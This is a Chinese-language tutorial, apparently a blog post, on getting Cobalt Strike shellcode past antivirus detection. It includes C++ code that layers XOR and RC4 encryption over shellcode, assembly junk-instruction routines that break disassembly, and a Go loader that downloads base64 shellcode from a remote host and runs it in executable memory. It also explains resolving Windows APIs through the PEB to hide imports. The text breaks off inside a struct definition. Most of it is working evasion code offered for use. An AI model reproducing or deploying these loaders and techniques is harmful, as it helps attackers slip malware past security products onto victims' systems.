前言
免杀(Bypass AV, Anti-Virus Evasion)是指恶意软件通过各种手段规避杀毒软件和安全检测系统的识别和拦截,从而在目标系统中成功执行。这种技术不仅用于恶意软件的传播,也被信息安全研究人员用来测试和提升安全防护系统的能力。根据有无源码,免杀可以分为以下两种情况:
- 二进制免杀(无源码):通过直接修改二进制数据实现免杀。
- 有源码免杀:通过修改源代码实现免杀。
一般直接对二进制可执行文件进行无源码免杀技术难度较高,免杀效果也不好。于是可以通过将编译好的二进制可执行文件转化为一段shellcode,然后编写加载器执行这段shellcode,从而实现无源码免杀向有源码免杀的转化。根据免杀阶段还可以分为以下两种免杀:
- 静态免杀
- 动态免杀
本篇文章主要介绍基于shellcode免杀的静态免杀和动态免杀技术,并以CS生成的64位shellcode为例。
静态免杀
静态免杀主要是为了抵抗杀毒软件的静态扫描,杀毒软件的静态扫描一般会通过提取文件中的一段特征串来与自身的病毒库中的特征码进行对比来判断该文件是否为恶意文件,因此我们一般围绕修改或是掩盖文件的特征码来实现静态免杀。
特征码是一段能识别程序是否为病毒的特征串,不同杀毒软件识别病毒的特征码不同。
shellcode加密
一般CS生成的shellcode的特征已被杀毒软件大量标记,如果不对shellcode进行处理,木马刚“落地”就会被杀毒软件静态查杀。可以事先将shellcode进行加密,然后将加密后的shellcode密文写入代码中,在shellcode执行之前调用解密函数进行解密,从而绕过杀毒软件针对shellcode的静态查杀。
目前通过两种及以上常见的加密方法叠加加密就足够覆盖shellcode原本的特征,以下展示使用RC4和异或实现shellcode加密代码:
#include <stdio.h>
#include <iostream>
using namespace std;
unsigned char T[256] = { 0 };
unsigned char s[256];
char key[] = "ro3wj9f";//根据情况自行更改
int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
{
int i = 0, j = 0;
unsigned char t[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
t[i] = key[i % Len];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + t[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
for (int i = 0; i < 256; i++)
{
T[i] = s[i];
}
return 0;
}
int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len)
{
int i = 0, j = 0, t = 0;
unsigned char tmp;
for (int k = 0; k < Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
buf[k] ^= s[t];
}
return 0;
}
int main()
{
unsigned char buf[] = "your_shellcode";
//异或加密
for (int i = 0; i < sizeof(buf); i++) {
buf[i] ^= 6655;//根据情况自行更改
}
//初始化rc4密钥
rc4_init(s, (unsigned char*)key, strlen(key));
//rc4加密
for (size_t i = 0; i < sizeof(buf); i++)
{
rc4_crypt(s, &buf[i], sizeof(buf[i]));
printf("\\x%02x", buf[i]);
}
return 0;
}
添加花指令
“花指令”(Flower Instruction)是一种用于抵抗反汇编的技术,它通过插入无关的指令来混淆恶意代码,使得恶意文件或攻击行为不易被杀毒软件识别。这些代码之所以被称为“花指令”,因为它们像花朵一样在恶意代码中点缀,却不改变其本质。花指令可以是任何合法的 CPU 指令,但它们不会对程序的最终结果产生影响。通过这种方式,恶意文件可以在不改变其主要功能的前提下,增加额外的复杂性,达到改变原文件中特征码的偏移量的效果,从而规避安全检测。以下大致介绍几种花指令:
__AsmConstantCondition proc
xor rax, rax
jz L_END
db 0e8h
L_END:
nop
ret
__AsmConstantCondition endp
__AsmJmpSameTarget proc
jz L_END
jnz L_END
db 0e8h
L_END:
nop
ret
__AsmJmpSameTarget endp
__AsmImpossibleDisassm proc
push rax
mov ax, 05EBh
xor eax, eax
db 074h, 0fah
db 0e8h
pop rax
ret
__AsmImpossibleDisassm endp
__AsmReturnPointerAbuse proc
call $+5
add qword ptr[rsp], 6
ret
push rax
mov rax, rcx
imul rax, 40h
pop rax
ret
__AsmReturnPointerAbuse endp
远程分离
将shellcode与shellcode加载器分离开来,可以有效避免编译后的二进制文件中出现特征码,编译后的二进制文件中只包含shellcode加载器,只有当程序运行时shellcode才会以本地读取或是远程加载的形式到内存中。这么做可以有效避免文件在运行前被杀毒软件静态查杀,但是无法绕过某些杀毒软件针对文件运行时的内存扫描。以下展示远程分离shellcode的go语言示例代码:
这里事先将shellcode用base64加密后上传到远程,是为了把二进制数据转换成文本数据以便传输
package main
import (
"encoding/base64"
"fmt"
"io"
"net/http"
"syscall"
"unsafe"
)
const (
Mem_Commit = 0x1000 // Mem_Commit
Mem_Reserve = 0x2000 // Mem_Reserve
Page_Execute_ReadWrite = 0x40 // Page_Execute_ReadWrite
)
var (
Kernel32 = syscall.NewLazyDLL("Kernel32.dll")
// 获取函数地址
CreateThread = Kernel32.NewProc("CreateThread")
VirtualAlloc = Kernel32.NewProc("VirtualAlloc")
RtlMoveMemory = Kernel32.NewProc("RtlMoveMemory")
WaitForSingleObject = Kernel32.NewProc("WaitForSingleObject")
ProcCall = syscall.SyscallN
)
func main() {
file, err := http.Get("http://ip/1.txt")
if err != nil {
fmt.Println("无法打开远程文件:", err)
return
}
defer file.Body.Close()
shellcode, err := io.ReadAll(file.Body)
if err != nil {
fmt.Println("无法读取远程文件内容:", err)
return
}
buf, _ := base64.StdEncoding.DecodeString(string(shellcode))
lpMem, _, _ := VirtualAlloc.Call((0), uintptr(len(buf)), Mem_Commit|Mem_Reserve, Page_Execute_ReadWrite)
_, _, _ = RtlMoveMemory.Call(lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
hThread, _, _ := CreateThread.Call(0, 0, lpMem, 0, 0, 0)
_, _, _ = WaitForSingleObject.Call(hThread, uintptr(0xffffffff))
}
动态调用Windows API
杀毒软件除了计算整个可执行文件的hash值外,还会计算pe文件的导入表(import address tables)的hash值来判断是否为恶意文件,通常采用的hash算法为MD5。动态调用Windows API的原理在于通过加载系统库文件并使用函数指针来调用API函数,而不是直接在代码中静态调用API函数。这种动态调用的方式可以避免pe文件的导入表中出现敏感API,短时间内不会暴露恶意行为,从而避免被杀毒软件识别和拦截。
目前动态调用Windows API的方案有两种,第一种我称其为“不彻底的动态调用Windows API”,其原理是首先通过调用LoadLibrary这个API来获取动态链接库句柄,然后调用GetProcAddress来获取指定函数的地址。这种方案的优点就是代码比较好写,不需要内联汇编,但缺点也显而易见,如果杀毒软件对LoadLibrary和GetProcAddress这两个API进行了限制的话,这种方案变不再可行,下面主要介绍另一种比较彻底的方案。
在编写shellcode的加载器时,往往会用到VirtualAlloc和CreateThread, 这两个API都来自于 kernel32.dll 这个动态链接库。在加载库之前得先找到库的基地址,而基地址可以通过 PEB 结构来获取。因为 PEB 的地址存储在线程环境块(TEB) 中,所以需要通过内联汇编的方式来直接访问线程局部存储(TLS)。每个 DLL 文 件都有一个导出表,列出了可以从模块中导出的函数。导出表包含函数名称、序号和地址等信息。于是手动通过遍历导出表中的名称表和序号表,找到目标 API 的地址。地址表中的值通常是相对于模块基址的偏移量,需要加上基址才能得到实际的函数地址。一旦获得函数地址,就可以将其强制转换为 正确的函数指针类型,并像调用普通函数一样调用它。以下动态调用 Windows API 流程图:

在寻找目标函数地址时通过遍历导出表先找到GetProcAddress函数地址,然后调用该函数找到其它的函数地址,既可简化寻找函数地址这一步的流程,也可避免被杀毒软件检测出来。以下代码针对32位程序:
头文件
#pragma once
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <process.h>
#include <string.h>
#include <DbgHelp.h>
#pragma comment(lib, "DbgHelp.lib")
//0x28 bytes (sizeof)
struct _PEB_LDR_DATA
{
ULONG Length; //0x0
UCHAR Initialized; //0x4
VOID* SsHandle; //0x8
struct _LIST_ENTRY InLoadOrderModuleList; //0xc
struct _LIST_ENTRY InMemoryOrderModuleList; //0x14
struct _LIST_ENTRY InInitializationOrderModuleList; //0x1c
VOID* EntryInProgress;


3850

被折叠的 条评论
为什么被折叠?



